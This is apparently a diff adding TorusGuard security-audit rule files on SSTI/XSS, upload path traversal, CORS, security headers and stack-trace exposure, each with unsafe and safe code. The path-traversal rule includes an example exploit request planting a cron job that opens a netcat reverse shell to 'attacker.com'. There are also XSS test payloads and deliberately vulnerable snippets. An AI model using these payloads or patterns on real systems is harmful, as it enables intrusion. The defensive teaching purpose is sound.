- package/skills/torusguard/payload/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
- package/skills/torusguard/payload/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
- package/skills/torusguard/payload/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
- package/skills/torusguard/payload/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
- package/skills/torusguard/payload/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
- package/skills/torusguard/payload/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
- package/skills/torusguard/payload/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
- package/skills/torusguard/payload/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
- package/skills/torusguard/payload/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
- package/skills/torusguard/payload/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
- package/skills/torusguard/payload/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
- package/skills/torusguard/payload/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
- package/skills/torusguard/payload/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
- package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
- package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
- package/skills/torusguard/payload/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
- package/skills/torusguard/payload/scripts/apply_runner.py +332 -0
- package/skills/torusguard/payload/scripts/audit_runner.py +550 -0
- package/skills/torusguard/payload/scripts/diff_guard.py +52 -4
- package/skills/torusguard/payload/scripts/finding_scorer.py +58 -0
- package/skills/torusguard/payload/scripts/harden_runner.py +353 -0
- package/skills/torusguard/payload/scripts/html_reporter.py +25 -10
- package/skills/torusguard/payload/scripts/manifest_builder.py +2 -0
- package/skills/torusguard/payload/scripts/memory_engine.py +4 -0
- package/skills/torusguard/payload/scripts/recheck_runner.py +221 -0
- package/skills/torusguard/payload/scripts/recipes_runner.py +130 -0
- package/skills/torusguard/payload/scripts/run_manager.py +17 -5
- package/skills/torusguard/payload/skills/torusguard/SKILL.md +42 -42
- package/skills/torusguard/payload/skills/torusguard/bootstrap.py +147 -68
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-005
|
|
3
|
+
title: Unsafe Template Rendering & Disabled Autoescaping
|
|
4
|
+
category: input-validation-encoding
|
|
5
|
+
severity: High
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
cwe: CWE-79
|
|
12
|
+
asvs_v4: V5.3.3
|
|
13
|
+
nist_ssdf: PW.5.1
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
# TG-INPUT-005: Unsafe Template Rendering & Disabled Autoescaping
|
|
17
|
+
|
|
18
|
+
## 🚨 Problem Statement
|
|
19
|
+
Rendering user-controlled input directly into templates without context-aware escaping (e.g., using `render_template_string` or explicitly disabling escaping with `|safe` or `mark_safe`) allows attackers to inject malicious HTML, JavaScript, or server-side template directives.
|
|
20
|
+
|
|
21
|
+
> **Tuning Guardrails (v0.5.6):**
|
|
22
|
+
> - **DISTINGUISH** direct unsafe rendering from framework-managed autoescaped template rendering (e.g., passing context variables to `render_template("foo.html", var=x)`).
|
|
23
|
+
> - **DO NOT flag** safe templating utilities or correctly escaped output paths.
|
|
24
|
+
> - **FLAG ONLY** when unsafe rendering, disabled escaping, `mark_safe`, `|safe`, or dynamic template execution is materially relevant.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 💥 Adversarial Threat & Exploitation
|
|
29
|
+
1. **Server-Side Template Injection (Flask / Jinja2):**
|
|
30
|
+
```python
|
|
31
|
+
# Unsafe Flask SSTI
|
|
32
|
+
@app.route("/greet")
|
|
33
|
+
def greet():
|
|
34
|
+
name = request.args.get("name")
|
|
35
|
+
template = f"<h1>Hello {name}</h1>"
|
|
36
|
+
return render_template_string(template) # RCE via {{ 7*7 }} or {{ config.__class__... }}
|
|
37
|
+
```
|
|
38
|
+
2. **Cross-Site Scripting (Django / Jinja2):**
|
|
39
|
+
```python
|
|
40
|
+
# Unsafe Django mark_safe
|
|
41
|
+
from django.utils.safestring import mark_safe
|
|
42
|
+
|
|
43
|
+
def comment_view(request):
|
|
44
|
+
user_comment = request.POST.get("comment")
|
|
45
|
+
# Bypasses HTML escaping
|
|
46
|
+
html_output = mark_safe(f"<div class='comment'>{user_comment}</div>")
|
|
47
|
+
return HttpResponse(html_output)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## 🛠️ Framework-Native Remediations
|
|
53
|
+
|
|
54
|
+
### 🐍 Flask / Jinja2 (Safe Parameter Passing)
|
|
55
|
+
|
|
56
|
+
#### ❌ Unsafe Pattern
|
|
57
|
+
```python
|
|
58
|
+
# Unsafe: Concatenating input into template string
|
|
59
|
+
return render_template_string(f"Hello {user_input}")
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
#### ✅ Safe Remediation
|
|
63
|
+
```python
|
|
64
|
+
# Safe: Pass input as context variable to autoescaped template file
|
|
65
|
+
from flask import render_template
|
|
66
|
+
|
|
67
|
+
@app.route("/greet")
|
|
68
|
+
def greet():
|
|
69
|
+
name = request.args.get("name", "")
|
|
70
|
+
return render_template("greet.html", name=name) # Automatically HTML-escaped by Jinja2
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
---
|
|
74
|
+
|
|
75
|
+
### 🐍 Django (Template Context & `format_html`)
|
|
76
|
+
|
|
77
|
+
#### ❌ Unsafe Pattern
|
|
78
|
+
```python
|
|
79
|
+
# Unsafe: mark_safe on unescaped input string
|
|
80
|
+
return HttpResponse(mark_safe(f"<b>Welcome, {username}</b>"))
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
#### ✅ Safe Remediation
|
|
84
|
+
```python
|
|
85
|
+
# Safe: Use format_html for conditional safe markup with autoescaped arguments
|
|
86
|
+
from django.utils.html import format_html
|
|
87
|
+
|
|
88
|
+
def welcome_view(request):
|
|
89
|
+
username = request.GET.get("username", "")
|
|
90
|
+
# format_html escapes variables while preserving the fixed HTML wrapper
|
|
91
|
+
safe_markup = format_html("<b>Welcome, {}</b>", username)
|
|
92
|
+
return HttpResponse(safe_markup)
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## 🧪 Verification & Reproduction
|
|
98
|
+
1. Submit XSS payload:
|
|
99
|
+
```bash
|
|
100
|
+
curl "http://localhost:5000/greet?name=%3Cscript%3Ealert(1)%3C/script%3E"
|
|
101
|
+
```
|
|
102
|
+
2. **Assertion:** Response body must contain HTML entity encoded characters (`<script>alert(1)</script>`) and must NOT execute raw tags.
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-006
|
|
3
|
+
title: Path Traversal and Unsafe Upload Storage
|
|
4
|
+
category: file-upload-handling
|
|
5
|
+
severity: Critical
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
cwe: CWE-22
|
|
12
|
+
asvs_v4: V12.1.1
|
|
13
|
+
nist_ssdf: PW.5.1
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
# TG-INPUT-006: Path Traversal and Unsafe Upload Storage
|
|
17
|
+
|
|
18
|
+
## 🚨 Problem Statement
|
|
19
|
+
Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
|
|
20
|
+
|
|
21
|
+
> **Tuning Guardrails (v0.5.6):**
|
|
22
|
+
> - **DO NOT treat** every `os.path.join()` as path traversal.
|
|
23
|
+
> - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
|
|
24
|
+
> - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 💥 Adversarial Threat & Exploitation
|
|
29
|
+
An attacker uploads a file with a relative path payload:
|
|
30
|
+
```http
|
|
31
|
+
POST /upload HTTP/1.1
|
|
32
|
+
Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
|
|
33
|
+
|
|
34
|
+
* * * * * root /bin/nc -e /bin/sh attacker.com 4444
|
|
35
|
+
```
|
|
36
|
+
If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
|
|
37
|
+
|
|
38
|
+
---
|
|
39
|
+
|
|
40
|
+
## 🛠️ Framework-Native Remediations
|
|
41
|
+
|
|
42
|
+
### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
|
|
43
|
+
|
|
44
|
+
#### ❌ Unsafe Pattern
|
|
45
|
+
```python
|
|
46
|
+
# Unsafe: Raw client filename in os.path.join
|
|
47
|
+
@app.route("/upload", methods=["POST"])
|
|
48
|
+
def upload():
|
|
49
|
+
file = request.files["file"]
|
|
50
|
+
filepath = os.path.join(UPLOAD_FOLDER, file.filename)
|
|
51
|
+
file.save(filepath)
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
#### ✅ Safe Remediation
|
|
55
|
+
```python
|
|
56
|
+
# Safe: Sanitize with secure_filename and generate a random UUID prefix
|
|
57
|
+
import uuid
|
|
58
|
+
from werkzeug.utils import secure_filename
|
|
59
|
+
|
|
60
|
+
ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
|
|
61
|
+
|
|
62
|
+
@app.route("/upload", methods=["POST"])
|
|
63
|
+
def upload():
|
|
64
|
+
file = request.files.get("file")
|
|
65
|
+
if not file:
|
|
66
|
+
return {"error": "No file"}, 400
|
|
67
|
+
|
|
68
|
+
filename = secure_filename(file.filename)
|
|
69
|
+
ext = os.path.splitext(filename)[1].lower()
|
|
70
|
+
|
|
71
|
+
if ext not in ALLOWED_EXTENSIONS:
|
|
72
|
+
return {"error": "Invalid file type"}, 400
|
|
73
|
+
|
|
74
|
+
safe_name = f"{uuid.uuid4().hex}_{filename}"
|
|
75
|
+
filepath = os.path.join(UPLOAD_FOLDER, safe_name)
|
|
76
|
+
file.save(filepath)
|
|
77
|
+
return {"status": "uploaded", "file_id": safe_name}
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
|
|
83
|
+
|
|
84
|
+
#### ❌ Unsafe Pattern
|
|
85
|
+
```python
|
|
86
|
+
# Unsafe: Direct path join with upload.filename
|
|
87
|
+
@app.post("/upload")
|
|
88
|
+
async def upload_file(file: UploadFile = File(...)):
|
|
89
|
+
dest = Path("/var/uploads") / file.filename
|
|
90
|
+
with open(dest, "wb") as f:
|
|
91
|
+
f.write(await file.read())
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
#### ✅ Safe Remediation
|
|
95
|
+
```python
|
|
96
|
+
# Safe: Whitelist extensions and store using generated UUIDs
|
|
97
|
+
import uuid
|
|
98
|
+
from pathlib import Path
|
|
99
|
+
from fastapi import FastAPI, UploadFile, File, HTTPException
|
|
100
|
+
|
|
101
|
+
UPLOAD_DIR = Path("/var/uploads").resolve()
|
|
102
|
+
ALLOWED_EXT = {".png", ".jpg", ".pdf"}
|
|
103
|
+
|
|
104
|
+
@app.post("/upload")
|
|
105
|
+
async def upload_file(file: UploadFile = File(...)):
|
|
106
|
+
ext = Path(file.filename).suffix.lower()
|
|
107
|
+
if ext not in ALLOWED_EXT:
|
|
108
|
+
raise HTTPException(status_code=400, detail="Disallowed file extension")
|
|
109
|
+
|
|
110
|
+
safe_filename = f"{uuid.uuid4().hex}{ext}"
|
|
111
|
+
destination = (UPLOAD_DIR / safe_filename).resolve()
|
|
112
|
+
|
|
113
|
+
# Assert destination stays within UPLOAD_DIR
|
|
114
|
+
if not str(destination).startswith(str(UPLOAD_DIR)):
|
|
115
|
+
raise HTTPException(status_code=400, detail="Path traversal detected")
|
|
116
|
+
|
|
117
|
+
content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
|
|
118
|
+
with open(destination, "wb") as buffer:
|
|
119
|
+
buffer.write(content)
|
|
120
|
+
|
|
121
|
+
return {"file_id": safe_filename}
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## 🧪 Verification & Reproduction
|
|
127
|
+
1. Test with traversal filename:
|
|
128
|
+
```bash
|
|
129
|
+
curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
|
|
130
|
+
```
|
|
131
|
+
2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
# TG-PLATFORM-001: Wildcard CORS With Credentials
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
|
|
5
|
+
High
|
|
6
|
+
|
|
7
|
+
## Applies To
|
|
8
|
+
|
|
9
|
+
- API servers configuring CORS headers
|
|
10
|
+
- Express/Fastify/Nest middleware using `cors()` defaults
|
|
11
|
+
- Reverse proxies and gateways injecting `Access-Control-*` headers
|
|
12
|
+
- Session or cookie-authenticated APIs consumed by browsers
|
|
13
|
+
- Multi-tenant APIs with dynamic origin reflection logic
|
|
14
|
+
|
|
15
|
+
## Why It Matters
|
|
16
|
+
|
|
17
|
+
Credentialed cross-origin requests require strict origin controls.
|
|
18
|
+
Using wildcard origins with credentials breaks browser security guarantees.
|
|
19
|
+
Misconfigurations can expose authenticated responses to untrusted origins.
|
|
20
|
+
Even partial origin reflection bugs can create cross-site data leakage.
|
|
21
|
+
This often appears as a simple config mistake with severe impact.
|
|
22
|
+
|
|
23
|
+
## What TorusGuard Looks For
|
|
24
|
+
|
|
25
|
+
- `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
|
|
26
|
+
- CORS middleware configured with `origin: true` without allowlist validation
|
|
27
|
+
- Reflecting any incoming `Origin` header directly back in responses
|
|
28
|
+
- Missing per-environment allowlists for trusted frontends
|
|
29
|
+
- Inconsistent preflight handling between gateway and application
|
|
30
|
+
- Session-cookie APIs that allow broad or dynamic untrusted origins
|
|
31
|
+
|
|
32
|
+
## Unsafe Example
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
import cors from "cors";
|
|
36
|
+
|
|
37
|
+
app.use(cors({
|
|
38
|
+
origin: "*",
|
|
39
|
+
credentials: true
|
|
40
|
+
}));
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
```ts
|
|
44
|
+
app.use((req, res, next) => {
|
|
45
|
+
res.setHeader("Access-Control-Allow-Origin", req.headers.origin || "*");
|
|
46
|
+
res.setHeader("Access-Control-Allow-Credentials", "true");
|
|
47
|
+
next();
|
|
48
|
+
});
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Safe Example
|
|
52
|
+
|
|
53
|
+
```ts
|
|
54
|
+
import cors from "cors";
|
|
55
|
+
|
|
56
|
+
const allowedOrigins = new Set([
|
|
57
|
+
"https://app.example.com",
|
|
58
|
+
"https://admin.example.com"
|
|
59
|
+
]);
|
|
60
|
+
|
|
61
|
+
app.use(cors({
|
|
62
|
+
origin(origin, cb) {
|
|
63
|
+
if (!origin) return cb(null, true);
|
|
64
|
+
if (allowedOrigins.has(origin)) return cb(null, true);
|
|
65
|
+
return cb(new Error("Origin not allowed"));
|
|
66
|
+
},
|
|
67
|
+
credentials: true
|
|
68
|
+
}));
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
## Remediation
|
|
72
|
+
|
|
73
|
+
1. Remove wildcard origins from any credentialed CORS configuration.
|
|
74
|
+
2. Build explicit allowlists for known trusted web origins per environment.
|
|
75
|
+
3. Validate dynamic origin logic against exact matches, not substring checks.
|
|
76
|
+
4. Keep gateway and app-layer CORS behavior consistent and documented.
|
|
77
|
+
5. Restrict allowed methods and headers to required minimums.
|
|
78
|
+
6. Add tests for preflight and credentialed fetches from trusted/untrusted origins.
|
|
79
|
+
7. Monitor rejected origins to detect probing and config drift.
|
|
80
|
+
8. Reassess CORS when adding new frontend domains or auth mechanisms.
|
|
81
|
+
|
|
82
|
+
## Verification
|
|
83
|
+
|
|
84
|
+
- Send credentialed requests from allowed and disallowed origins; verify behavior.
|
|
85
|
+
- Confirm responses never include `*` with credentials enabled.
|
|
86
|
+
- Validate preflight responses include only expected methods/headers.
|
|
87
|
+
- Test browser behavior with real `fetch(..., { credentials: "include" })`.
|
|
88
|
+
- Review gateway response headers in production, not just local dev.
|
|
89
|
+
|
|
90
|
+
## False Positives and Exceptions
|
|
91
|
+
|
|
92
|
+
- Non-browser clients where CORS headers are irrelevant to access control
|
|
93
|
+
- Public, fully unauthenticated read-only APIs not using credentials
|
|
94
|
+
- Local development permissive origins, if isolated from production configs
|
|
95
|
+
- Strictly internal tools with network isolation and documented risk acceptance
|
|
96
|
+
|
|
97
|
+
## Related Rules
|
|
98
|
+
|
|
99
|
+
- `TG-AUTH-004-insecure-session-cookie.md`
|
|
100
|
+
- `TG-AUTH-002-client-only-authorization.md`
|
|
101
|
+
- `TG-PLATFORM-002-missing-security-headers.md`
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
# TG-PLATFORM-002: Missing Security Headers
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
|
|
5
|
+
Medium
|
|
6
|
+
|
|
7
|
+
## Applies To
|
|
8
|
+
|
|
9
|
+
- Node/Express/Nest/Fastify web apps serving browser traffic
|
|
10
|
+
- Reverse proxies and CDN layers terminating TLS
|
|
11
|
+
- SSR frontends and static sites with custom response headers
|
|
12
|
+
- APIs returning HTML, login pages, docs portals, or admin consoles
|
|
13
|
+
- Deployments expected to enforce baseline browser hardening
|
|
14
|
+
|
|
15
|
+
## Why It Matters
|
|
16
|
+
|
|
17
|
+
Security headers reduce exploitability of common web attack classes.
|
|
18
|
+
Missing headers increase risk from XSS, clickjacking, protocol downgrade, and data leakage.
|
|
19
|
+
Headers are not complete protection, but are critical platform defense-in-depth.
|
|
20
|
+
Gaps often appear during framework migrations or proxy reconfiguration.
|
|
21
|
+
A weak default posture compounds impact of unrelated code bugs.
|
|
22
|
+
|
|
23
|
+
## What TorusGuard Looks For
|
|
24
|
+
|
|
25
|
+
- Absent or weak `Content-Security-Policy` on HTML responses
|
|
26
|
+
- Missing `Strict-Transport-Security` on HTTPS production domains
|
|
27
|
+
- Missing `X-Frame-Options` or equivalent `frame-ancestors` directive
|
|
28
|
+
- Missing `X-Content-Type-Options: nosniff`
|
|
29
|
+
- No `Referrer-Policy` or overly permissive values
|
|
30
|
+
- Express apps not using Helmet (or equivalent explicit header strategy)
|
|
31
|
+
|
|
32
|
+
## Unsafe Example
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
import express from "express";
|
|
36
|
+
const app = express();
|
|
37
|
+
|
|
38
|
+
app.get("/", (_req, res) => {
|
|
39
|
+
res.sendFile("index.html");
|
|
40
|
+
});
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
## Safe Example
|
|
44
|
+
|
|
45
|
+
```ts
|
|
46
|
+
import express from "express";
|
|
47
|
+
import helmet from "helmet";
|
|
48
|
+
|
|
49
|
+
const app = express();
|
|
50
|
+
|
|
51
|
+
app.use(helmet({
|
|
52
|
+
contentSecurityPolicy: {
|
|
53
|
+
directives: {
|
|
54
|
+
defaultSrc: ["'self'"],
|
|
55
|
+
scriptSrc: ["'self'"],
|
|
56
|
+
objectSrc: ["'none'"],
|
|
57
|
+
frameAncestors: ["'none'"],
|
|
58
|
+
upgradeInsecureRequests: []
|
|
59
|
+
}
|
|
60
|
+
},
|
|
61
|
+
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }
|
|
62
|
+
}));
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
## Remediation
|
|
66
|
+
|
|
67
|
+
1. Define a minimum security header baseline for all browser-facing responses.
|
|
68
|
+
2. Enable `helmet` (or equivalent) and customize CSP for app-specific needs.
|
|
69
|
+
3. Enforce HSTS only on HTTPS production domains with rollout planning.
|
|
70
|
+
4. Add `X-Content-Type-Options`, frame protections, and sane referrer policy.
|
|
71
|
+
5. Move inline scripts/styles to nonce/hash-based CSP-compatible patterns.
|
|
72
|
+
6. Validate header behavior at proxy/CDN and app layers to avoid overwrites.
|
|
73
|
+
7. Add automated tests or synthetic checks for required headers per route type.
|
|
74
|
+
8. Document approved exceptions for legacy integrations and review periodically.
|
|
75
|
+
|
|
76
|
+
## Verification
|
|
77
|
+
|
|
78
|
+
- Inspect response headers on HTML routes in production.
|
|
79
|
+
- Confirm CSP blocks inline/eval behavior unless explicitly allowed.
|
|
80
|
+
- Validate HSTS appears only on HTTPS and matches intended max-age/preload policy.
|
|
81
|
+
- Test clickjacking protections with iframe embedding attempts.
|
|
82
|
+
- Run security scanner checks and verify no regressions after deploy.
|
|
83
|
+
|
|
84
|
+
## False Positives and Exceptions
|
|
85
|
+
|
|
86
|
+
- Pure JSON internal APIs not rendered in browsers (still consider baseline headers)
|
|
87
|
+
- Development environments where CSP is relaxed for hot reload tooling
|
|
88
|
+
- Legacy pages requiring transitional CSP policies during migration windows
|
|
89
|
+
- Routes intentionally embeddable by trusted partners with explicit frame policy docs
|
|
90
|
+
|
|
91
|
+
## Related Rules
|
|
92
|
+
|
|
93
|
+
- `TG-PLATFORM-001-wildcard-cors-with-credentials.md`
|
|
94
|
+
- `TG-PLATFORM-003-production-stack-trace-exposure.md`
|
|
95
|
+
- `TG-INPUT-003-unsafe-html-or-code-execution.md`
|
|
@@ -0,0 +1,94 @@
|
|
|
1
|
+
# TG-PLATFORM-003: Production Stack Trace Exposure
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
|
|
5
|
+
Medium
|
|
6
|
+
|
|
7
|
+
## Applies To
|
|
8
|
+
|
|
9
|
+
- API error handlers and exception middleware
|
|
10
|
+
- SSR frameworks rendering error pages
|
|
11
|
+
- Reverse proxies returning upstream crash output
|
|
12
|
+
- Serverless functions with default runtime error responses
|
|
13
|
+
- Any production system handling untrusted request input
|
|
14
|
+
|
|
15
|
+
## Why It Matters
|
|
16
|
+
|
|
17
|
+
Verbose errors leak internal details useful to attackers.
|
|
18
|
+
Stack traces can expose file paths, package versions, SQL snippets, and infrastructure hints.
|
|
19
|
+
These details speed exploitation and reduce attacker guesswork.
|
|
20
|
+
Operationally, noisy error disclosures also increase user confusion.
|
|
21
|
+
Secure systems return minimal client-facing errors while preserving server-side diagnostics.
|
|
22
|
+
|
|
23
|
+
## What TorusGuard Looks For
|
|
24
|
+
|
|
25
|
+
- `res.status(500).send(err.stack)` or equivalent direct stack output
|
|
26
|
+
- Framework debug mode enabled in production (`NODE_ENV` misconfiguration)
|
|
27
|
+
- Error pages rendering exception messages and traces to all users
|
|
28
|
+
- Serialized internal exception objects returned in JSON responses
|
|
29
|
+
- Unhandled promise rejections bubbling raw runtime traces to clients
|
|
30
|
+
- Proxy settings forwarding upstream debug bodies externally
|
|
31
|
+
|
|
32
|
+
## Unsafe Example
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
app.use((err, _req, res, _next) => {
|
|
36
|
+
console.error(err);
|
|
37
|
+
res.status(500).json({
|
|
38
|
+
message: err.message,
|
|
39
|
+
stack: err.stack,
|
|
40
|
+
details: err
|
|
41
|
+
});
|
|
42
|
+
});
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
## Safe Example
|
|
46
|
+
|
|
47
|
+
```ts
|
|
48
|
+
app.use((err, req, res, _next) => {
|
|
49
|
+
logger.error({
|
|
50
|
+
path: req.path,
|
|
51
|
+
method: req.method,
|
|
52
|
+
errorName: err.name,
|
|
53
|
+
message: err.message,
|
|
54
|
+
stack: err.stack
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
res.status(500).json({
|
|
58
|
+
error: "Internal server error",
|
|
59
|
+
requestId: req.id
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
## Remediation
|
|
65
|
+
|
|
66
|
+
1. Implement centralized error handling that returns generic client messages.
|
|
67
|
+
2. Log full diagnostics server-side only, including correlation IDs.
|
|
68
|
+
3. Disable framework debug/error overlays in production builds.
|
|
69
|
+
4. Normalize known operational errors to safe, minimal response schemas.
|
|
70
|
+
5. Ensure proxies and serverless gateways do not leak upstream traces.
|
|
71
|
+
6. Add secure defaults for unhandled rejections and uncaught exceptions.
|
|
72
|
+
7. Review third-party middleware for verbose error serialization behavior.
|
|
73
|
+
8. Include incident drill checks for accidental debug-mode deployment.
|
|
74
|
+
|
|
75
|
+
## Verification
|
|
76
|
+
|
|
77
|
+
- Trigger representative 500 errors and inspect client responses for leakage.
|
|
78
|
+
- Confirm stack traces appear in structured logs, not in API bodies.
|
|
79
|
+
- Validate production config disables debug pages/overlays.
|
|
80
|
+
- Test SSR routes and static error pages for internal path/version exposure.
|
|
81
|
+
- Run dynamic scans searching for stack signatures in responses.
|
|
82
|
+
|
|
83
|
+
## False Positives and Exceptions
|
|
84
|
+
|
|
85
|
+
- Authenticated internal observability endpoints restricted to operators
|
|
86
|
+
- Short-lived canary diagnostics behind strict access controls
|
|
87
|
+
- Non-production environments clearly isolated from public traffic
|
|
88
|
+
- Sanitized error messages that include only non-sensitive validation metadata
|
|
89
|
+
|
|
90
|
+
## Related Rules
|
|
91
|
+
|
|
92
|
+
- `TG-PLATFORM-002-missing-security-headers.md`
|
|
93
|
+
- `TG-INPUT-001-missing-server-validation.md`
|
|
94
|
+
- `TG-SEC-004-sensitive-logging.md`
|
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
# TG-PLATFORM-004: Missing Request Size Limits
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
|
|
5
|
+
Medium
|
|
6
|
+
|
|
7
|
+
## Applies To
|
|
8
|
+
|
|
9
|
+
- JSON body parsers in API servers
|
|
10
|
+
